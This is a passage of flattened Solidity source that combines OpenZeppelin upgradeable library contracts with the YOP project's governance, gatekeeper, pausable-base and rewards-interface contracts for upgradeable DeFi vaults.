_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.9;
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "../vaults/roles/Governable.sol";
import "../vaults/roles/Gatekeeperable.sol";
/// @dev Use this contract as the base for contracts that are going to be pauseable and upgradeable.
/// It exposes the common functions used by all these contracts (like Pause, Unpause, setGatekeeper etc) and make sure the right permissions are set for all these methods.
abstract contract BasePauseableUpgradeable is
GovernableUpgradeable,
Gatekeeperable,
PausableUpgradeable,
UUPSUpgradeable
{
// solhint-disable-next-line no-empty-blocks
constructor() {}
// solhint-disable-next-line func-name-mixedcase
function __BasePauseableUpgradeable_init(address _governance, address _gatekeeper) internal onlyInitializing {
__Governable_init(_governance);
__Gatekeeperable_init_unchained(_gatekeeper);
__Pausable_init_unchained();
__UUPSUpgradeable_init();
__BasePauseableUpgradeable_init_unchained();
}
// solhint-disable-next-line func-name-mixedcase no-empty-blocks
function __BasePauseableUpgradeable_init_unchained() internal onlyInitializing {}
/// @notice Pause the contract. Can be called by either the governance or gatekeeper.
function pause() external onlyGovernanceOrGatekeeper(governance) {
_pause();
}
// @notice Unpause the contract. Can only be called by the governance.
function unpause() external onlyGovernance {
_unpause();
}
/// @notice Set the gatekeeper address of the contract
function setGatekeeper(address _gatekeeper) external onlyGovernance {
_updateGatekeeper(_gatekeeper);
}
// solhint-disable-next-line no-unused-vars no-empty-blocks
function _authorizeUpgrade(address implementation) internal view override onlyGovernance {}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.9;
interface IYOPRewards {
/// @notice Returns the current emission rate (per epoch) for vault rewards and the current number of epoch (start from 1).
function rate() external view returns (uint256 _rate, uint256 _epoch);
/// @notice Returns the current ratio of community emissions for vault users
function vaultsRewardsWeight() external view returns (uint256);
/// @notice Returns the current ratio of community emissions for staking users
function stakingRewardsWeight() external view returns (uint256);
/// @notice Set the ratios of community emission for vaults and staking respectively. Governance only. Should emit an event.
function setRewardsAllocationWeights(uint256 _weightForVaults, uint256 _weightForStaking) external;
/// @notice Get the weight of a Vault
function perVaultRewardsWeight(address vault) external view returns (uint256);
/// @notice Set the weights for vaults. Governance only. Should emit events.
function setPerVaultRewardsWeight(address[] calldata vaults, uint256[] calldata weights) external;
/// @notice Calculate the rewards for the given user in the given vault. Vaults Only.
/// This should be called by every Vault every time a user deposits or withdraws.
function calculateVaultRewards(address _user) external;
/// @notice Calculate the rewards for the given stake id in the staking contract.
function calculateStakingRewards(uint256 _stakeId) external;
/// @notice Allow a user to claim the accrued rewards from both vaults and staking, and transfer the YOP tokens to the given account.
function claimAll(address _to) external;
/// @notice Calculate the unclaimed rewards for the calling user
function allUnclaimedRewards(address _user)
external
view
returns (
uint256 totalRewards,
uint256 vaultsRewards,
uint256 stakingRewards
);
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.9;
interface IAccessControlManager {
function hasAccess(address _user, address _vault) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155ReceiverUpgradeable is IERC165Upgradeable {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
import "../IERC1155Upgradeable.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURIUpgradeable is IERC1155Upgradeable {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
__Context_init_unchained();
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal onlyInitializing {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/UUPSUpgradeable.sol)
pragma solidity ^0.8.0;
import "../ERC1967/ERC1967UpgradeUpgradeable.sol";
import "./Initializable.sol";
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal onlyInitializing {
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
}
function __UUPSUpgradeable_init_unchained() internal onlyInitializing {
}
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
/**
* @dev Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case
* for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a
* function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to
* fail.
*/
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, new bytes(0), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.9;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
interface IGovernable {
function proposeGovernance(address _pendingGovernance) external;
function acceptGovernance() external;
}
abstract contract GovernableInternal {
event GovenanceUpdated(address _govenance);
event GovenanceProposed(address _pendingGovenance);
/// @dev This contract is used as part of the Vault contract and it is upgradeable.
/// which means any changes to the state variables could corrupt the data. Do not modify these at all.
/// @notice the address of the current governance
address public governance;
/// @notice the address of the pending governance
address public pendingGovernance;
/// @dev ensure msg.send is the governanace
modifier onlyGovernance() {
require(_getMsgSender() == governance, "governance only");
_;
}
/// @dev ensure msg.send is the pendingGovernance
modifier onlyPendingGovernance() {
require(_getMsgSender() == pendingGovernance, "pending governance only");
_;
}
/// @dev the deployer of the contract will be set as the initial governance
// solhint-disable-next-line func-name-mixedcase
function __Governable_init_unchained(address _governance) internal {
require(_getMsgSender() != _governance, "invalid address");
_updateGovernance(_governance);
}
///@notice propose a new governance of the vault. Only can be called by the existing governance.
///@param _pendingGovernance the address of the pending governance
function proposeGovernance(address _pendingGovernance) external onlyGovernance {
require(_pendingGovernance != address(0), "invalid address");
require(_pendingGovernance != governance, "already the governance");
pendingGovernance = _pendingGovernance;
emit GovenanceProposed(_pendingGovernance);
}
///@notice accept the proposal to be the governance of the vault. Only can be called by the pending governance.
function acceptGovernance() external onlyPendingGovernance {
_updateGovernance(pendingGovernance);
}
function _updateGovernance(address _pendingGovernance) internal {
governance = _pendingGovernance;
emit GovenanceUpdated(governance);
}
/// @dev provides an internal function to allow reduce the contract size
function _onlyGovernance() internal view {
require(_getMsgSender() == governance, "governance only");
}
function _getMsgSender() internal view virtual returns (address);
}
/// @dev Add a `governance` and a `pendingGovernance` role to the contract, and implements a 2-phased nominatiom process to change the governance.
/// Also provides a modifier to allow controlling access to functions of the contract.
contract Governable is Context, GovernableInternal {
constructor(address _governance) GovernableInternal() {
__Governable_init_unchained(_governance);
}
function _getMsgSender() internal view override returns (address) {
return _msgSender();
}
}
/// @dev ungradeable version of the {Governable} contract. Can be used as part of an upgradeable contract.
abstract contract GovernableUpgradeable is ContextUpgradeable, GovernableInternal {
// solhint-disable-next-line no-empty-blocks
constructor() {}
// solhint-disable-next-line func-name-mixedcase
function __Governable_init(address _governance) internal {
__Context_init();
__Governable_init_unchained(_governance);
}
// solhint-disable-next-line func-name-mixedcase
function _getMsgSender() internal view override returns (address) {
return _msgSender();
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.9;
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "../../interfaces/roles/IGatekeeperable.sol";
/// @dev Add the `Gatekeeper` role.
/// Gatekeepers will help ensure the security of the vaults. They can set vault limits, pause deposits or withdraws.
/// For vaults that defined restricted access, they will be able to control the access to these vaults as well.
/// This contract also provides a `onlyGatekeeper` modifier to allow controlling access to functions of the contract.
abstract contract Gatekeeperable is IGatekeeperable, ContextUpgradeable {
event GatekeeperUpdated(address _guardian);
/// @notice the address of the guardian for the vault
/// @dev This contract is used as part of the Vault contract and it is upgradeable.
/// which means any changes to the state variables could corrupt the data. Do not modify this at all.
address public gatekeeper;
/// @dev make sure msg.sender is the guardian or the governance
modifier onlyGovernanceOrGatekeeper(address _governance) {
_onlyGovernanceOrGatekeeper(_governance);
_;
}
// solhint-disable-next-line no-empty-blocks
constructor() {}
/// @dev set the initial value for the gatekeeper. The deployer can not be the gatekeeper.
/// @param _gatekeeper the default address of the guardian
// solhint-disable-next-line func-name-mixedcase
function __Gatekeeperable_init_unchained(address _gatekeeper) internal {
require(_msgSender() != _gatekeeper, "invalid address");
_updateGatekeeper(_gatekeeper);
}
// solhint-disable-next-line func-name-mixedcase
function __Gatekeeperable_init(address _gatekeeper) internal {
__Context_init();
__Gatekeeperable_init_unchained(_gatekeeper);
}
///@dev this can be used internally to update the gatekeep. If you want to expose it, create an external function in the implementation contract and call this.
function _updateGatekeeper(address _gatekeeper) internal {
require(_gatekeeper != address(0), "address is not valid");
require(_gatekeeper != gatekeeper, "already the gatekeeper");
gatekeeper = _gatekeeper;
emit GatekeeperUpdated(_gatekeeper);
}
function _onlyGovernanceOrGatekeeper(address _governance) internal view {
require((_msgSender() == _governance) || (gatekeeper != address(0) && gatekeeper == _msgSender()), "!authorised");
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Upgrade.sol)
pragma solidity ^0.8.2;
import "../beacon/IBeaconUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/StorageSlotUpgradeable.sol";
import "../utils/Initializable.sol";
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967UpgradeUpgradeable is Initializable {
function __ERC1967Upgrade_init() internal onlyInitializing {
__ERC1967Upgrade_init_unchained();
}
